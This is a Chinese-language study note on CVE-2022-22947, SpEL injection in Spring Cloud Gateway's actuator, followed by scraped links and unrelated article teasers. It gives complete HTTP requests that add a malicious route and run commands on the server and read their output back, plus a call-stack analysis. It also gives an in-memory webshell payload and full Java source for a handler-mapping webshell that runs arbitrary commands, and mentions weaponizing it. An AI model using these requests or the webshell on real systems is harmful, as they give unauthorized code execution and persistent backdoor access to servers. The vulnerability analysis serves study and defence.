CVE-2022-22947 SpringCloud GateWay SpEL RCE
CVE-2022-22947 SpringCloud GateWay SpEL RCE
写在前面
学习记录
环境准备
IDEA的话需要下载Kotlin插件的,针对于这个环境的话,Kotlin插件对IDEA的版本有要求,比如IDEA 2020.1.1的版本就不行,搭环境的时候需要注意下。
git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
漏洞复现
0x01 添加filter
POST /actuator/gateway/routes/spel HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/:/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json
Content-Length: 325
{
"id": "spel",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

0x02 刷新
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

0x03 再次访问
GET /actuator/gateway/routes/spel HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

漏洞分析
看diff和早就爆出的信息,是SpEL注入导致的代码执行
https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

修改的文件为:
spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java
进去下断点,先放加filter的包,再refresh,回溯下调用栈

sink点在getValue方法中,而该方法有4处调用,且均在ShortcutType这个枚举类型里

这里有个shortcutType方法,会直接调用ShortcutType.DEFAULT

这点看调用栈中也可以发现,从normalizeProperties方法进入后直接调用了DEFAULT

观察参数,normalizeProperties()方法会传入this.properties,其中保存了前面添加的filters agrs属性中的name和value,最终会将value取出传到后续的SpEL进行解析执行

再往前回溯就是从POST refresh端点到加载这个filter的逻辑了,翻看一下调用栈就一目了然了。调用栈如下:
getValue:59, ShortcutConfigurable (org.springframework.cloud.gateway.support)
normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)
normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)
bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)
loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
...
onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route)
onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route)
doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event)
invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event)
multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event)
publishEvent:421, AbstractApplicationContext (org.springframework.context.support)
publishEvent:378, AbstractApplicationContext (org.springframework.context.support)
refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)
...
而payload中我们构造的filter在后面会被封装为FilterDefinition对象,而FilterDefinition为RouteDefinition中的一个属性,RouteDefinition对象结构大致如下:

到这里第一个POST加路由的payload的构造以及refresh到sink点的触发基本就很清晰了,下面正向看一下这个route是如何加进去的。
首先看官方文档
可以通过POST和DELETE请求进行添加和删除路由的操作

下断点后跟进查看,POST传入的是RouteDefinition对象

RouteDefinition类代码如下

其中filters对应的模版类代码如下,所以需要有name和args作为属性

继续往下跟,在Lambda表达式里调用了validateRouteDefinition方法对当前filter name做了检查,判断是否是存在的filter name,一共有29个,其中用AddResponseHeader可以帮助构造回显

而关于回显的话,前面refresh部分的调试已知了结果会保存在this.properties中,那么拿AddResponseHeader做回显肯定是能获取this.properties,下面来看下。
首先定位到AddResponseHeaderGatewayFilterFactory,其中apply方法会把config的name和value属性都添加到header中从而创造回显。全局搜索的时候也可以看到很多用此功能来添加header头的代码。

而通过GET请求routes/{id}时正好会拿到该命令执行的结果, 这里的话个人感觉是走如下的调用的,

最终在此拿到filter,回显到response里

但实际调试时又有很多不一样的地方,埋坑。
内存马注入
Payload
这里联想到的是Thymeleaf SSTI这个洞,因为这两个洞最终都是SpEL注入,所以一开始想到的就是BCEL去打一个内存马进去,但BCEL是有JDK版本限制,并不是很通用。在c0ny1师傅文章有给出payload和新思路,不造轮子了直接学爆。
首先来看payload
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
用的是Spring中自带的ReflectUtils类的defineClass方法,主要注意第三个参数也就是Classloader的部分:new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()
可以简单看下源码,MLet继承了URLClassLoader,所以这里通过new MLet()来new一个新的ClassLoader就可以避免ClassLoader无法加载相同类名的类
public class MLet extends java.net.URLClassLoader
implements MLetMBean, MBeanRegistration, Externalizable {
...
/**
* Constructs a new MLet using the default delegation parent ClassLoader.
*/
public MLet() {
this(new URL[0]);
}
/**
* Constructs a new MLet for the specified URLs using the default
* delegation parent ClassLoader. The URLs will be searched in
* the order specified for classes and resources after first
* searching in the parent class loader.
*
* @param urls The URLs from which to load classes and resources.
*
*/
public MLet(URL[] urls) {
this(urls, true);
}
/**
* Constructs a new MLet for the given URLs. The URLs will be
* searched in the order specified for classes and resources
* after first searching in the specified parent class loader.
* The parent argument will be used as the parent class loader
* for delegation.
*
* @param urls The URLs from which to load classes and resources.
* @param parent The parent class loader for delegation.
*
*/
public MLet(URL[] urls, ClassLoader parent) {
this(urls, parent, true);
}
/**
* Constructs a new MLet for the specified URLs, parent class
* loader, and URLStreamHandlerFactory. The parent argument will
* be used as the parent class loader for delegation. The factory
* argument will be used as the stream handler factory to obtain
* protocol handlers when creating new URLs.
*
* @param urls The URLs from which to load classes and resources.
* @param parent The parent class loader for delegation.
* @param factory The URLStreamHandlerFactory to use when creating URLs.
*
*/
public MLet(URL[] urls,
ClassLoader parent,
URLStreamHandlerFactory factory) {
this(urls, parent, factory, true);
}
...
...
/**
* Constructs a new MLet for the specified URLs, parent class
* loader, and URLStreamHandlerFactory. The parent argument will
* be used as the parent class loader for delegation. The factory
* argument will be used as the stream handler factory to obtain
* protocol handlers when creating new URLs.
*
* @param urls The URLs from which to load classes and resources.
* @param parent The parent class loader for delegation.
* @param factory The URLStreamHandlerFactory to use when creating URLs.
* @param delegateToCLR True if, when a class is not found in
* either the parent ClassLoader or the URLs, the MLet should delegate
* to its containing MBeanServer's {@link ClassLoaderRepository}.
*
*/
public MLet(URL[] urls,
ClassLoader parent,
URLStreamHandlerFactory factory,
boolean delegateToCLR) {
super(urls, parent, factory);
init(delegateToCLR);
}
HandlerMapping内存马
而内存马方面的话主要还是Spring层,之前我也有写过一篇Spring内存马相关的文章,主要是Interceptor和Controller型的内存马,而c0ny1师傅文章中用到的是RequestMappingHandlerMapping注册一个与使用@RequestMapping("/*")等效的HandlerMapping类型的内存马。
代码:执行命令的逻辑主要还是在executeCommand方法中,那么想注入Behinder3或者Godzilla4的Memshell的话改下逻辑,并且需要找到获取request对象的姿势。
public class SpringRequestMappingMemshell {
public static String doInject(Object requestMappingHandlerMapping) {
String msg = "inject-start";
try {
Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
registerHandlerMethod.setAccessible(true);
Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
PathPattern pathPattern = new PathPatternParser().parse("/*");
PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
msg = "inject-success";
}catch (Exception e){
msg = "inject-error";
}
return msg;
}
public ResponseEntity executeCommand(String cmd) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
}
漏洞武器化
丢两张图吧


CVE-2022-22947 SpringCloud GateWay SpEL RCE的更多相关文章
- CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现
目录 0 环境搭建 1 漏洞触发点 2 构建poc 3 总结 参考 0 环境搭建 影响范围: Spring Cloud Gateway 3.1.x < 3.1.1 Spring Cloud Ga ...
- SpringCloud gateway (史上最全)
疯狂创客圈 Java 分布式聊天室[ 亿级流量]实战系列之 -25[ 博客园 总入口 ] 前言 ### 前言 疯狂创客圈(笔者尼恩创建的高并发研习社群)Springcloud 高并发系列文章,将为大家 ...
- SpringCloud gateway 3
参考博客:https://www.cnblogs.com/crazymakercircle/p/11704077.html 1.1 SpringCloud Gateway 简介 SpringCloud ...
- SpringCloud Gateway 测试问题解决
本文针对于测试环境SpringCloud Gateway问题解决. 1.背景介绍 本文遇到的问题都是在测试环境真正遇到的问题,不一定试用于所有人,仅做一次记录,便于遇到同样问题的干掉这些问题. 使用版 ...
- SpringCloud Gateway入门
本文是介绍一下SpringCloud Gateway简单路由转发使用. SpringCloud Gateway简介 SpringCloud是基于Spring Framework 5,Project R ...
- 使用springcloud gateway搭建网关(分流,限流,熔断)
Spring Cloud Gateway Spring Cloud Gateway 是 Spring Cloud 的一个全新项目,该项目是基于 Spring 5.0,Spring Boot 2.0 和 ...
- SpringCloud Gateway(八)
搭建SpringCloud Gateway 创建microservicecloud-springcloud-gateway-9528工程 pom文件 依赖: <dependencies> ...
- 体验SpringCloud Gateway
Spring Cloud Gateway是Spring Cloud技术栈中的网关服务,本文实战构建一个SpringCloud环境,并开发一个SpringCloud Gateway应用,快速体验网关服务 ...
- spring-cloud-kubernetes与SpringCloud Gateway
本文是<spring-cloud-kubernetes实战系列>的第五篇,主要内容是在kubernetes上部署一个SpringCloud Gateway应用,该应用使用了spring-c ...
随机推荐
- SQL从零到迅速精通【规则和约束】
1.[创建规则] 为stu_info表定义一个规则,指定其成绩列的值必须大于0,小于100,输入语句如下. USE test_db; GO CREATE RULE rule_score AS @sco ...
- 二进制部署1.23.4版本k8s集群-5-部署Master节点服务
1.安装Docker 在21.22.200三台机器上安装Docker.安装命令: 在21.22.200三台主机上部署Docker. ~]# curl -fsSL https://get.docker. ...
- pthon语法
1.条件语句 #找到a.b.c中最大的数,其中and是逻辑运算符"且"的意思 if a>b and a>c: print(a) elif b>a and b> ...
- 华为三层交换机5700 DHCP配置
交换机配置DHCP配置 1,交换机作DHCP Server『配置环境参数』1. PC1.PC2的网卡均采用动态获取IP地址的方式2. PC1连接到交换机的以太网端口0/1,属于VLAN10:PC2连接 ...
- Linux移植到自己的开发板(三)根文件系统
@ 目录 1 Linux内核配置 2 ramdisk制作 3 busybox配置 4 genext2fs生成镜像 为了快速调试,采用ramdisk进行根文件系统测试.要使内核能挂载ramdisk根文件 ...
- 实现一个cache
实现一个LRU cache,定义get函数和set函数,cache是固定长度的,当cache已经满,那么就删除一直没有被更新的记录,然后将新的记录放进去. LRU: 全称是Least Recently ...
- 14FPGA综设之图像边沿检测的sobel算法
连续学习FPGA基础课程接近一个月了,迎来第一个有难度的综合设计,图像的边沿检测算法sobel,用verilog代码实现算法功能. 一设计功能 (一设计要求) (二系统框图) 根据上面的系统,Veri ...
- Oracle问题解决记录
一.前言 oracle这么一个庞大的东西,出点问题真是太常见了.开个博客,用于记录遇到的问题吧. 持续更新. 二.问题列表 归档日志满,引起的问题. 一台服务器,用了很久了,某天,出现了磁盘空间占满的 ...
- 什么是B+树??
上一篇中,我们了解了B树,辣么..B+树又是什么呢?? 一:定义:B+树是基于B树的,是B树的变形,也是一种多路搜索树.查询性能更加出色. 1.每个父节点元素出现在子节点中,是子节点的最大或最小元素. ...
- Spring Boot 中的监视器是什么?
Spring boot actuator 是 spring 启动框架中的重要功能之一.Spring boot 监视器可帮助您访问生产环境中正在运行的应用程序的当前状态.有几个指标必须在生产环境中进行检 ...